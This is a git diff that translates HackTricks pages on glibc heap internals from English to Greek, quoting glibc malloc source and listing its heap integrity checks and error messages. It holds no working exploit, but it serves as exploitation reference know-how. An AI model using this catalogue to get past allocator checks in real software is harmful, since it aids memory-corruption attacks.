_int_free Fast Bin - ```c - // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4 +// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4556C2-L4631C4 - /* - If eligible, place chunk on a fastbin so it can be found - and used quickly in malloc. - */ +/* +If eligible, place chunk on a fastbin so it can be found +and used quickly in malloc. +*/ - if ((unsigned long)(size) <= (unsigned long)(get_max_fast ()) +if ((unsigned long)(size) <= (unsigned long)(get_max_fast ()) #if TRIM_FASTBINS - /* - If TRIM_FASTBINS set, don't place chunks - bordering top into fastbins - */ - && (chunk_at_offset(p, size) != av->top) +/* +If TRIM_FASTBINS set, don't place chunks +bordering top into fastbins +*/ +&& (chunk_at_offset(p, size) != av->top) #endif - ) { +) { - if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) - <= CHUNK_HDR_SZ, 0) - || __builtin_expect (chunksize (chunk_at_offset (p, size)) - >= av->system_mem, 0)) - { - bool fail = true; - /* We might not have a lock at this point and concurrent modifications - of system_mem might result in a false positive. Redo the test after - getting the lock. */ - if (!have_lock) - { - __libc_lock_lock (av->mutex); - fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ - || chunksize (chunk_at_offset (p, size)) >= av->system_mem); - __libc_lock_unlock (av->mutex); - } +if (__builtin_expect (chunksize_nomask (chunk_at_offset (p, size)) +<= CHUNK_HDR_SZ, 0) +|| __builtin_expect (chunksize (chunk_at_offset (p, size)) +>= av->system_mem, 0)) +{ +bool fail = true; +/* We might not have a lock at this point and concurrent modifications +of system_mem might result in a false positive. Redo the test after +getting the lock. */ +if (!have_lock) +{ +__libc_lock_lock (av->mutex); +fail = (chunksize_nomask (chunk_at_offset (p, size)) <= CHUNK_HDR_SZ +|| chunksize (chunk_at_offset (p, size)) >= av->system_mem); +__libc_lock_unlock (av->mutex); +} - if (fail) - malloc_printerr ("free(): invalid next size (fast)"); - } +if (fail) +malloc_printerr ("free(): invalid next size (fast)"); +} - free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); +free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); - atomic_store_relaxed (&av->have_fastchunks, true); - unsigned int idx = fastbin_index(size); - fb = &fastbin (av, idx); +atomic_store_relaxed (&av->have_fastchunks, true); +unsigned int idx = fastbin_index(size); +fb = &fastbin (av, idx); - /* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */ - mchunkptr old = *fb, old2; +/* Atomically link P to its fastbin: P->FD = *FB; *FB = P; */ +mchunkptr old = *fb, old2; - if (SINGLE_THREAD_P) - { - /* Check that the top of the bin is not the record we are going to - add (i.e., double free). */ - if (__builtin_expect (old == p, 0)) - malloc_printerr ("double free or corruption (fasttop)"); - p->fd = PROTECT_PTR (&p->fd, old); - *fb = p; - } - else - do - { - /* Check that the top of the bin is not the record we are going to - add (i.e., double free). */ - if (__builtin_expect (old == p, 0)) - malloc_printerr ("double free or corruption (fasttop)"); - old2 = old; - p->fd = PROTECT_PTR (&p->fd, old); - } - while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) - != old2); +if (SINGLE_THREAD_P) +{ +/* Check that the top of the bin is not the record we are going to +add (i.e., double free). */ +if (__builtin_expect (old == p, 0)) +malloc_printerr ("double free or corruption (fasttop)"); +p->fd = PROTECT_PTR (&p->fd, old); +*fb = p; +} +else +do +{ +/* Check that the top of the bin is not the record we are going to +add (i.e., double free). */ +if (__builtin_expect (old == p, 0)) +malloc_printerr ("double free or corruption (fasttop)"); +old2 = old; +p->fd = PROTECT_PTR (&p->fd, old); +} +while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) +!= old2); - /* Check that size of fastbin chunk at the top is the same as - size of the chunk that we are adding. We can dereference OLD - only if we have the lock, otherwise it might have already been - allocated again. */ - if (have_lock && old != NULL - && __builtin_expect (fastbin_index (chunksize (old)) != idx, 0)) - malloc_printerr ("invalid fastbin entry (free)"); - } +/* Check that size of fastbin chunk at the top is the same as +size of the chunk that we are adding. We can dereference OLD +only if we have the lock, otherwise it might have already been +allocated again. */ +if (have_lock && old != NULL +&& __builtin_expect (fastbin_index (chunksize (old)) != idx, 0)) +malloc_printerr ("invalid fastbin entry (free)"); +} ``` -
### \_int_free finale -If the chunk wasn't allocated yet on any bin, call `_int_free_merge_chunk` +Αν το κομμάτι δεν έχει ακόμη κατανεμηθεί σε κανένα bin, καλέστε το `_int_free_merge_chunk`
_int_free finale - ```c /* - Consolidate other non-mmapped chunks as they arrive. - */ +Consolidate other non-mmapped chunks as they arrive. +*/ - else if (!chunk_is_mmapped(p)) { +else if (!chunk_is_mmapped(p)) { - /* If we're single-threaded, don't lock the arena. */ - if (SINGLE_THREAD_P) - have_lock = true; +/* If we're single-threaded, don't lock the arena. */ +if (SINGLE_THREAD_P) +have_lock = true; - if (!have_lock) - __libc_lock_lock (av->mutex); +if (!have_lock) +__libc_lock_lock (av->mutex); - _int_free_merge_chunk (av, p, size); +_int_free_merge_chunk (av, p, size); - if (!have_lock) - __libc_lock_unlock (av->mutex); - } - /* - If the chunk was allocated via mmap, release via munmap(). - */ +if (!have_lock) +__libc_lock_unlock (av->mutex); +} +/* +If the chunk was allocated via mmap, release via munmap(). +*/ - else { - munmap_chunk (p); - } +else { +munmap_chunk (p); +} } ``` -
## \_int_free_merge_chunk -This function will try to merge chunk P of SIZE bytes with its neighbours. Put the resulting chunk on the unsorted bin list. +Αυτή η συνάρτηση θα προσπαθήσει να συγχωνεύσει το κομμάτι P με μέγεθος SIZE byte με τους γείτονές του. Το αποτέλεσμα θα τοποθετηθεί στη λίστα των αταξινόμητων κομματιών. -Some checks are performed: +Γίνονται ορισμένοι έλεγχοι: -- If the chunk is the top chunk: `double free or corruption (top)` -- If the next chunk is outside of the boundaries of the arena: `double free or corruption (out)` -- If the chunk is not marked as used (in the `prev_inuse` from the following chunk): `double free or corruption (!prev)` -- If the next chunk has a too little size or too big: `free(): invalid next size (normal)` -- if the previous chunk is not in use, it will try to consolidate. But, if the prev_size differs from the size indicated in the previous chunk: `corrupted size vs. prev_size while consolidating` +- Αν το κομμάτι είναι το κορυφαίο κομμάτι: `double free or corruption (top)` +- Αν το επόμενο κομμάτι είναι εκτός των ορίων της αρένας: `double free or corruption (out)` +- Αν το κομμάτι δεν είναι σημειωμένο ως χρησιμοποιούμενο (στο `prev_inuse` του επόμενου κομματιού): `double free or corruption (!prev)` +- Αν το επόμενο κομμάτι έχει πολύ μικρό ή πολύ μεγάλο μέγεθος: `free(): invalid next size (normal)` +- αν το προηγούμενο κομμάτι δεν είναι σε χρήση, θα προσπαθήσει να συγχωνεύσει. Αλλά, αν το prev_size διαφέρει από το μέγεθος που υποδεικνύεται στο προηγούμενο κομμάτι: `corrupted size vs. prev_size while consolidating`
_int_free_merge_chunk code - ```c // From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4660C1-L4702C2 /* Try to merge chunk P of SIZE bytes with its neighbors. Put the - resulting chunk on the appropriate bin list. P must not be on a - bin list yet, and it can be in use. */ +resulting chunk on the appropriate bin list. P must not be on a +bin list yet, and it can be in use. */ static void _int_free_merge_chunk (mstate av, mchunkptr p, INTERNAL_SIZE_T size) { - mchunkptr nextchunk = chunk_at_offset(p, size); +mchunkptr nextchunk = chunk_at_offset(p, size); - /* Lightweight tests: check whether the block is already the - top block. */ - if (__glibc_unlikely (p == av->top)) - malloc_printerr ("double free or corruption (top)"); - /* Or whether the next chunk is beyond the boundaries of the arena. */ - if (__builtin_expect (contiguous (av) - && (char *) nextchunk - >= ((char *) av->top + chunksize(av->top)), 0)) - malloc_printerr ("double free or corruption (out)"); - /* Or whether the block is actually not marked used. */ - if (__glibc_unlikely (!prev_inuse(nextchunk))) - malloc_printerr ("double free or corruption (!prev)"); +/* Lightweight tests: check whether the block is already the +top block. */ +if (__glibc_unlikely (p == av->top)) +malloc_printerr ("double free or corruption (top)"); +/* Or whether the next chunk is beyond the boundaries of the arena. */ +if (__builtin_expect (contiguous (av) +&& (char *) nextchunk +>= ((char *) av->top + chunksize(av->top)), 0)) +malloc_printerr ("double free or corruption (out)"); +/* Or whether the block is actually not marked used. */ +if (__glibc_unlikely (!prev_inuse(nextchunk))) +malloc_printerr ("double free or corruption (!prev)"); - INTERNAL_SIZE_T nextsize = chunksize(nextchunk); - if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0) - || __builtin_expect (nextsize >= av->system_mem, 0)) - malloc_printerr ("free(): invalid next size (normal)"); +INTERNAL_SIZE_T nextsize = chunksize(nextchunk); +if (__builtin_expect (chunksize_nomask (nextchunk) <= CHUNK_HDR_SZ, 0) +|| __builtin_expect (nextsize >= av->system_mem, 0)) +malloc_printerr ("free(): invalid next size (normal)"); - free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); +free_perturb (chunk2mem(p), size - CHUNK_HDR_SZ); - /* Consolidate backward. */ - if (!prev_inuse(p)) - { - INTERNAL_SIZE_T prevsize = prev_size (p); - size += prevsize; - p = chunk_at_offset(p, -((long) prevsize)); - if (__glibc_unlikely (chunksize(p) != prevsize)) - malloc_printerr ("corrupted size vs. prev_size while consolidating"); - unlink_chunk (av, p); - } +/* Consolidate backward. */ +if (!prev_inuse(p)) +{ +INTERNAL_SIZE_T prevsize = prev_size (p); +size += prevsize; +p = chunk_at_offset(p, -((long) prevsize)); +if (__glibc_unlikely (chunksize(p) != prevsize)) +malloc_printerr ("corrupted size vs. prev_size while consolidating"); +unlink_chunk (av, p); +} - /* Write the chunk header, maybe after merging with the following chunk. */ - size = _int_free_create_chunk (av, p, size, nextchunk, nextsize); - _int_free_maybe_consolidate (av, size); +/* Write the chunk header, maybe after merging with the following chunk. */ +size = _int_free_create_chunk (av, p, size, nextchunk, nextsize); +_int_free_maybe_consolidate (av, size); } ``` -
{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md index 18a0a02b7..3db7fc89e 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md @@ -1,163 +1,163 @@ -# Heap Functions Security Checks +# Έλεγχοι Ασφαλείας Λειτουργιών Σωρού {{#include ../../../banners/hacktricks-training.md}} ## unlink -For more info check: +Για περισσότερες πληροφορίες δείτε: {{#ref}} unlink.md {{#endref}} -This is a summary of the performed checks: +Αυτή είναι μια περίληψη των ελέγχων που πραγματοποιήθηκαν: -- Check if the indicated size of the chunk is the same as the `prev_size` indicated in the next chunk - - Error message: `corrupted size vs. prev_size` -- Check also that `P->fd->bk == P` and `P->bk->fw == P` - - Error message: `corrupted double-linked list` -- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P` - - Error message: `corrupted double-linked list (not small)` +- Έλεγχος αν το υποδεικνυόμενο μέγεθος του κομματιού είναι το ίδιο με το `prev_size` που υποδεικνύεται στο επόμενο κομμάτι +- Μήνυμα σφάλματος: `corrupted size vs. prev_size` +- Έλεγχος επίσης ότι `P->fd->bk == P` και `P->bk->fw == P` +- Μήνυμα σφάλματος: `corrupted double-linked list` +- Αν το κομμάτι δεν είναι μικρό, έλεγχος ότι `P->fd_nextsize->bk_nextsize == P` και `P->bk_nextsize->fd_nextsize == P` +- Μήνυμα σφάλματος: `corrupted double-linked list (not small)` ## \_int_malloc -For more info check: +Για περισσότερες πληροφορίες δείτε: {{#ref}} malloc-and-sysmalloc.md {{#endref}} -- **Checks during fast bin search:** - - If the chunk is misaligned: - - Error message: `malloc(): unaligned fastbin chunk detected 2` - - If the forward chunk is misaligned: - - Error message: `malloc(): unaligned fastbin chunk detected` - - If the returned chunk has a size that isn't correct because of it's index in the fast bin: - - Error message: `malloc(): memory corruption (fast)` - - If any chunk used to fill the tcache is misaligned: - - Error message: `malloc(): unaligned fastbin chunk detected 3` -- **Checks during small bin search:** - - If `victim->bk->fd != victim`: - - Error message: `malloc(): smallbin double linked list corrupted` -- **Checks during consolidate** performed for each fast bin chunk: - - If the chunk is unaligned trigger: - - Error message: `malloc_consolidate(): unaligned fastbin chunk detected` - - If the chunk has a different size that the one it should because of the index it's in: - - Error message: `malloc_consolidate(): invalid chunk size` - - If the previous chunk is not in use and the previous chunk has a size different of the one indicated by prev_chunk: - - Error message: `corrupted size vs. prev_size in fastbins` -- **Checks during unsorted bin search**: - - If the chunk size is weird (too small or too big): - - Error message: `malloc(): invalid size (unsorted)` - - If the next chunk size is weird (too small or too big): - - Error message: `malloc(): invalid next size (unsorted)` - - If the previous size indicated by the next chunk differs from the size of the chunk: - - Error message: `malloc(): mismatching next->prev_size (unsorted)` - - If not `victim->bck->fd == victim` or not `victim->fd == av (arena)`: - - Error message: `malloc(): unsorted double linked list corrupted` - - As we are always checking the las one, it's fd should be pointing always to the arena struct. - - If the next chunk isn't indicating that the previous is in use: - - Error message: `malloc(): invalid next->prev_inuse (unsorted)` - - If `fwd->bk_nextsize->fd_nextsize != fwd`: - - Error message: `malloc(): largebin double linked list corrupted (nextsize)` - - If `fwd->bk->fd != fwd`: - - Error message: `malloc(): largebin double linked list corrupted (bk)` -- **Checks during large bin (by index) search:** - - `bck->fd-> bk != bck`: - - Error message: `malloc(): corrupted unsorted chunks` -- **Checks during large bin (next bigger) search:** - - `bck->fd-> bk != bck`: - - Error message: `malloc(): corrupted unsorted chunks2` -- **Checks during Top chunk use:** - - `chunksize(av->top) > av->system_mem`: - - Error message: `malloc(): corrupted top size` +- **Έλεγχοι κατά την αναζήτηση γρήγορης λίστας:** +- Αν το κομμάτι είναι κακώς ευθυγραμμισμένο: +- Μήνυμα σφάλματος: `malloc(): unaligned fastbin chunk detected 2` +- Αν το επόμενο κομμάτι είναι κακώς ευθυγραμμισμένο: +- Μήνυμα σφάλματος: `malloc(): unaligned fastbin chunk detected` +- Αν το επιστρεφόμενο κομμάτι έχει μέγεθος που δεν είναι σωστό λόγω του δείκτη του στη γρήγορη λίστα: +- Μήνυμα σφάλματος: `malloc(): memory corruption (fast)` +- Αν οποιοδήποτε κομμάτι που χρησιμοποιείται για να γεμίσει το tcache είναι κακώς ευθυγραμμισμένο: +- Μήνυμα σφάλματος: `malloc(): unaligned fastbin chunk detected 3` +- **Έλεγχοι κατά την αναζήτηση μικρής λίστας:** +- Αν `victim->bk->fd != victim`: +- Μήνυμα σφάλματος: `malloc(): smallbin double linked list corrupted` +- **Έλεγχοι κατά την ενοποίηση** που πραγματοποιούνται για κάθε κομμάτι γρήγορης λίστας: +- Αν το κομμάτι είναι κακώς ευθυγραμμισμένο ενεργοποιήστε: +- Μήνυμα σφάλματος: `malloc_consolidate(): unaligned fastbin chunk detected` +- Αν το κομμάτι έχει διαφορετικό μέγεθος από αυτό που θα έπρεπε λόγω του δείκτη του: +- Μήνυμα σφάλματος: `malloc_consolidate(): invalid chunk size` +- Αν το προηγούμενο κομμάτι δεν είναι σε χρήση και το προηγούμενο κομμάτι έχει μέγεθος διαφορετικό από αυτό που υποδεικνύεται από το prev_chunk: +- Μήνυμα σφάλματος: `corrupted size vs. prev_size in fastbins` +- **Έλεγχοι κατά την αναζήτηση αταξινόμητης λίστας**: +- Αν το μέγεθος του κομματιού είναι περίεργο (πολύ μικρό ή πολύ μεγάλο): +- Μήνυμα σφάλματος: `malloc(): invalid size (unsorted)` +- Αν το μέγεθος του επόμενου κομματιού είναι περίεργο (πολύ μικρό ή πολύ μεγάλο): +- Μήνυμα σφάλματος: `malloc(): invalid next size (unsorted)` +- Αν το προηγούμενο μέγεθος που υποδεικνύεται από το επόμενο κομμάτι διαφέρει από το μέγεθος του κομματιού: +- Μήνυμα σφάλματος: `malloc(): mismatching next->prev_size (unsorted)` +- Αν όχι `victim->bck->fd == victim` ή όχι `victim->fd == av (arena)`: +- Μήνυμα σφάλματος: `malloc(): unsorted double linked list corrupted` +- Καθώς πάντα ελέγχουμε το τελευταίο, το fd του θα πρέπει πάντα να δείχνει στη δομή arena. +- Αν το επόμενο κομμάτι δεν υποδεικνύει ότι το προηγούμενο είναι σε χρήση: +- Μήνυμα σφάλματος: `malloc(): invalid next->prev_inuse (unsorted)` +- Αν `fwd->bk_nextsize->fd_nextsize != fwd`: +- Μήνυμα σφάλματος: `malloc(): largebin double linked list corrupted (nextsize)` +- Αν `fwd->bk->fd != fwd`: +- Μήνυμα σφάλματος: `malloc(): largebin double linked list corrupted (bk)` +- **Έλεγχοι κατά την αναζήτηση μεγάλης λίστας (κατά δείκτη):** +- `bck->fd-> bk != bck`: +- Μήνυμα σφάλματος: `malloc(): corrupted unsorted chunks` +- **Έλεγχοι κατά την αναζήτηση μεγάλης λίστας (επόμενος μεγαλύτερος):** +- `bck->fd-> bk != bck`: +- Μήνυμα σφάλματος: `malloc(): corrupted unsorted chunks2` +- **Έλεγχοι κατά τη χρήση του Top chunk:** +- `chunksize(av->top) > av->system_mem`: +- Μήνυμα σφάλματος: `malloc(): corrupted top size` ## `tcache_get_n` -- **Checks in `tcache_get_n`:** - - If chunk is misaligned: - - Error message: `malloc(): unaligned tcache chunk detected` +- **Έλεγχοι στο `tcache_get_n`:** +- Αν το κομμάτι είναι κακώς ευθυγραμμισμένο: +- Μήνυμα σφάλματος: `malloc(): unaligned tcache chunk detected` ## `tcache_thread_shutdown` -- **Checks in `tcache_thread_shutdown`:** - - If chunk is misaligned: - - Error message: `tcache_thread_shutdown(): unaligned tcache chunk detected` +- **Έλεγχοι στο `tcache_thread_shutdown`:** +- Αν το κομμάτι είναι κακώς ευθυγραμμισμένο: +- Μήνυμα σφάλματος: `tcache_thread_shutdown(): unaligned tcache chunk detected` ## `__libc_realloc` -- **Checks in `__libc_realloc`:** - - If old pointer is misaligned or the size was incorrect: - - Error message: `realloc(): invalid pointer` +- **Έλεγχοι στο `__libc_realloc`:** +- Αν ο παλιός δείκτης είναι κακώς ευθυγραμμισμένος ή το μέγεθος ήταν λανθασμένο: +- Μήνυμα σφάλματος: `realloc(): invalid pointer` ## `_int_free` -For more info check: +Για περισσότερες πληροφορίες δείτε: {{#ref}} free.md {{#endref}} -- **Checks during the start of `_int_free`:** - - Pointer is aligned: - - Error message: `free(): invalid pointer` - - Size larger than `MINSIZE` and size also aligned: - - Error message: `free(): invalid size` -- **Checks in `_int_free` tcache:** - - If there are more entries than `mp_.tcache_count`: - - Error message: `free(): too many chunks detected in tcache` - - If the entry is not aligned: - - Error message: `free(): unaligned chunk detected in tcache 2` - - If the freed chunk was already freed and is present as chunk in the tcache: - - Error message: `free(): double free detected in tcache 2` -- **Checks in `_int_free` fast bin:** - - If the size of the chunk is invalid (too big or small) trigger: - - Error message: `free(): invalid next size (fast)` - - If the added chunk was already the top of the fast bin: - - Error message: `double free or corruption (fasttop)` - - If the size of the chunk at the top has a different size of the chunk we are adding: - - Error message: `invalid fastbin entry (free)` +- **Έλεγχοι κατά την αρχή του `_int_free`:** +- Ο δείκτης είναι ευθυγραμμισμένος: +- Μήνυμα σφάλματος: `free(): invalid pointer` +- Μέγεθος μεγαλύτερο από `MINSIZE` και το μέγεθος είναι επίσης ευθυγραμμισμένο: +- Μήνυμα σφάλματος: `free(): invalid size` +- **Έλεγχοι στο `_int_free` tcache:** +- Αν υπάρχουν περισσότερες καταχωρίσεις από το `mp_.tcache_count`: +- Μήνυμα σφάλματος: `free(): too many chunks detected in tcache` +- Αν η καταχώριση δεν είναι ευθυγραμμισμένη: +- Μήνυμα σφάλματος: `free(): unaligned chunk detected in tcache 2` +- Αν το ελευθερωμένο κομμάτι είχε ήδη ελευθερωθεί και είναι παρόν ως κομμάτι στο tcache: +- Μήνυμα σφάλματος: `free(): double free detected in tcache 2` +- **Έλεγχοι στο `_int_free` γρήγορη λίστα:** +- Αν το μέγεθος του κομματιού είναι μη έγκυρο (πολύ μεγάλο ή πολύ μικρό) ενεργοποιήστε: +- Μήνυμα σφάλματος: `free(): invalid next size (fast)` +- Αν το προστιθέμενο κομμάτι ήταν ήδη το κορυφαίο της γρήγορης λίστας: +- Μήνυμα σφάλματος: `double free or corruption (fasttop)` +- Αν το μέγεθος του κομματιού στην κορυφή έχει διαφορετικό μέγεθος από το κομμάτι που προσθέτουμε: +- Μήνυμα σφάλματος: `invalid fastbin entry (free)` ## **`_int_free_merge_chunk`** -- **Checks in `_int_free_merge_chunk`:** - - If the chunk is the top chunk: - - Error message: `double free or corruption (top)` - - If the next chunk is outside of the boundaries of the arena: - - Error message: `double free or corruption (out)` - - If the chunk is not marked as used (in the prev_inuse from the following chunk): - - Error message: `double free or corruption (!prev)` - - If the next chunk has a too little size or too big: - - Error message: `free(): invalid next size (normal)` - - If the previous chunk is not in use, it will try to consolidate. But, if the `prev_size` differs from the size indicated in the previous chunk: - - Error message: `corrupted size vs. prev_size while consolidating` +- **Έλεγχοι στο `_int_free_merge_chunk`:** +- Αν το κομμάτι είναι το κορυφαίο κομμάτι: +- Μήνυμα σφάλματος: `double free or corruption (top)` +- Αν το επόμενο κομμάτι είναι εκτός των ορίων της αρένας: +- Μήνυμα σφάλματος: `double free or corruption (out)` +- Αν το κομμάτι δεν είναι σημειωμένο ως χρησιμοποιούμενο (στο prev_inuse από το επόμενο κομμάτι): +- Μήνυμα σφάλματος: `double free or corruption (!prev)` +- Αν το επόμενο κομμάτι έχει πολύ μικρό ή πολύ μεγάλο μέγεθος: +- Μήνυμα σφάλματος: `free(): invalid next size (normal)` +- Αν το προηγούμενο κομμάτι δεν είναι σε χρήση, θα προσπαθήσει να ενοποιήσει. Αλλά, αν το `prev_size` διαφέρει από το μέγεθος που υποδεικνύεται στο προηγούμενο κομμάτι: +- Μήνυμα σφάλματος: `corrupted size vs. prev_size while consolidating` ## **`_int_free_create_chunk`** -- **Checks in `_int_free_create_chunk`:** - - Adding a chunk into the unsorted bin, check if `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`: - - Error message: `free(): corrupted unsorted chunks` +- **Έλεγχοι στο `_int_free_create_chunk`:** +- Προσθέτοντας ένα κομμάτι στην αταξινόμητη λίστα, ελέγξτε αν `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`: +- Μήνυμα σφάλματος: `free(): corrupted unsorted chunks` ## `do_check_malloc_state` -- **Checks in `do_check_malloc_state`:** - - If misaligned fast bin chunk: - - Error message: `do_check_malloc_state(): unaligned fastbin chunk detected` +- **Έλεγχοι στο `do_check_malloc_state`:** +- Αν το κομμάτι γρήγορης λίστας είναι κακώς ευθυγραμμισμένο: +- Μήνυμα σφάλματος: `do_check_malloc_state(): unaligned fastbin chunk detected` ## `malloc_consolidate` -- **Checks in `malloc_consolidate`:** - - If misaligned fast bin chunk: - - Error message: `malloc_consolidate(): unaligned fastbin chunk detected` - - If incorrect fast bin chunk size: - - Error message: `malloc_consolidate(): invalid chunk size` +- **Έλεγχοι στο `malloc_consolidate`:** +- Αν το κομμάτι γρήγορης λίστας είναι κακώς ευθυγραμμισμένο: +- Μήνυμα σφάλματος: `malloc_consolidate(): unaligned fastbin chunk detected` +- Αν το μέγεθος του κομματιού γρήγορης λίστας είναι λανθασμένο: +- Μήνυμα σφάλματος: `malloc_consolidate(): invalid chunk size` ## `_int_realloc` -- **Checks in `_int_realloc`:** - - Size is too big or too small: - - Error message: `realloc(): invalid old size` - - Size of the next chunk is too big or too small: - - Error message: `realloc(): invalid next size` +- **Έλεγχοι στο `_int_realloc`:** +- Το μέγεθος είναι πολύ μεγάλο ή πολύ μικρό: +- Μήνυμα σφάλματος: `realloc(): invalid old size` +- Το μέγεθος του επόμενου κομματιού είναι πολύ μεγάλο ή πολύ μικρό: +- Μήνυμα σφάλματος: `realloc(): invalid next size` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md index 3b2ab7085..335c5d966 100644 --- a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md +++ b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md @@ -2,37 +2,36 @@ {{#include ../../../banners/hacktricks-training.md}} -## Allocation Order Summary +## Περίληψη Σειράς Κατανομής -(No checks are explained in this summary and some case have been omitted for brevity) +(Δεν εξηγούνται έλεγχοι σε αυτήν την περίληψη και ορισμένες περιπτώσεις έχουν παραληφθεί για συντομία) -1. `__libc_malloc` tries to get a chunk from the tcache, if not it calls `_int_malloc` +1. `__libc_malloc` προσπαθεί να πάρει ένα κομμάτι από το tcache, αν όχι καλεί το `_int_malloc` 2. `_int_malloc` : - 1. Tries to generate the arena if there isn't any - 2. If any fast bin chunk of the correct size, use it - 1. Fill tcache with other fast chunks - 3. If any small bin chunk of the correct size, use it - 1. Fill tcache with other chunks of that size - 4. If the requested size isn't for small bins, consolidate fast bin into unsorted bin - 5. Check the unsorted bin, use the first chunk with enough space - 1. If the found chunk is bigger, divide it to return a part and add the reminder back to the unsorted bin - 2. If a chunk is of the same size as the size requested, use to to fill the tcache instead of returning it (until the tcache is full, then return the next one) - 3. For each chunk of smaller size checked, put it in its respective small or large bin - 6. Check the large bin in the index of the requested size - 1. Start looking from the first chunk that is bigger than the requested size, if any is found return it and add the reminders to the small bin - 7. Check the large bins from the next indexes until the end - 1. From the next bigger index check for any chunk, divide the first found chunk to use it for the requested size and add the reminder to the unsorted bin - 8. If nothing is found in the previous bins, get a chunk from the top chunk - 9. If the top chunk wasn't big enough enlarge it with `sysmalloc` +1. Προσπαθεί να δημιουργήσει την αρένα αν δεν υπάρχει καμία +2. Αν υπάρχει κάποιο γρήγορο κομμάτι της σωστής διάστασης, το χρησιμοποιεί +1. Γεμίζει το tcache με άλλα γρήγορα κομμάτια +3. Αν υπάρχει κάποιο μικρό κομμάτι της σωστής διάστασης, το χρησιμοποιεί +1. Γεμίζει το tcache με άλλα κομμάτια αυτής της διάστασης +4. Αν η ζητούμενη διάσταση δεν είναι για μικρές αρένες, ενοποιεί το γρήγορο κομμάτι σε ακατάτακτο κομμάτι +5. Ελέγχει το ακατάτακτο κομμάτι, χρησιμοποιεί το πρώτο κομμάτι με αρκετό χώρο +1. Αν το βρεθέν κομμάτι είναι μεγαλύτερο, το διαιρεί για να επιστρέψει ένα μέρος και προσθέτει το υπόλοιπο πίσω στο ακατάτακτο κομμάτι +2. Αν ένα κομμάτι είναι της ίδιας διάστασης με τη ζητούμενη διάσταση, το χρησιμοποιεί για να γεμίσει το tcache αντί να το επιστρέψει (μέχρι το tcache να είναι γεμάτο, τότε επιστρέφει το επόμενο) +3. Για κάθε κομμάτι μικρότερης διάστασης που ελέγχεται, το τοποθετεί στην αντίστοιχη μικρή ή μεγάλη αρένα +6. Ελέγχει τη μεγάλη αρένα στον δείκτη της ζητούμενης διάστασης +1. Ξεκινά να κοιτά από το πρώτο κομμάτι που είναι μεγαλύτερο από τη ζητούμενη διάσταση, αν βρεθεί κάποιο το επιστρέφει και προσθέτει τα υπόλοιπα στη μικρή αρένα +7. Ελέγχει τις μεγάλες αρένες από τους επόμενους δείκτες μέχρι το τέλος +1. Από τον επόμενο μεγαλύτερο δείκτη ελέγχει για οποιοδήποτε κομμάτι, διαιρεί το πρώτο βρεθέν κομμάτι για να το χρησιμοποιήσει για τη ζητούμενη διάσταση και προσθέτει το υπόλοιπο στο ακατάτακτο κομμάτι +8. Αν δεν βρεθεί τίποτα στις προηγούμενες αρένες, παίρνει ένα κομμάτι από το κορυφαίο κομμάτι +9. Αν το κορυφαίο κομμάτι δεν ήταν αρκετά μεγάλο, το επεκτείνει με `sysmalloc` ## \_\_libc_malloc -The `malloc` function actually calls `__libc_malloc`. This function will check the tcache to see if there is any available chunk of the desired size. If the re is it'll use it and if not it'll check if it's a single thread and in that case it'll call `_int_malloc` in the main arena, and if not it'll call `_int_malloc` in arena of the thread. +Η συνάρτηση `malloc` στην πραγματικότητα καλεί το `__libc_malloc`. Αυτή η συνάρτηση θα ελέγξει το tcache για να δει αν υπάρχει κάποιο διαθέσιμο κομμάτι της επιθυμητής διάστασης. Αν υπάρχει, θα το χρησιμοποιήσει και αν όχι θα ελέγξει αν είναι μονός νήμα και σε αυτήν την περίπτωση θα καλέσει το `_int_malloc` στην κύρια αρένα, και αν όχι θα καλέσει το `_int_malloc` στην αρένα του νήματος.
-__libc_malloc code - +__libc_malloc κώδικας ```c // From https://github.com/bminor/glibc/blob/master/malloc/malloc.c @@ -40,1707 +39,1660 @@ The `malloc` function actually calls `__libc_malloc`. This function will check t void * __libc_malloc (size_t bytes) { - mstate ar_ptr; - void *victim; +mstate ar_ptr; +void *victim; - _Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2, - "PTRDIFF_MAX is not more than half of SIZE_MAX"); +_Static_assert (PTRDIFF_MAX <= SIZE_MAX / 2, +"PTRDIFF_MAX is not more than half of SIZE_MAX"); - if (!__malloc_initialized) - ptmalloc_init (); +if (!__malloc_initialized) +ptmalloc_init (); #if USE_TCACHE - /* int_free also calls request2size, be careful to not pad twice. */ - size_t tbytes = checked_request2size (bytes); - if (tbytes == 0) - { - __set_errno (ENOMEM); - return NULL; - } - size_t tc_idx = csize2tidx (tbytes); +/* int_free also calls request2size, be careful to not pad twice. */ +size_t tbytes = checked_request2size (bytes); +if (tbytes == 0) +{ +__set_errno (ENOMEM); +return NULL; +} +size_t tc_idx = csize2tidx (tbytes); - MAYBE_INIT_TCACHE (); +MAYBE_INIT_TCACHE (); - DIAG_PUSH_NEEDS_COMMENT; - if 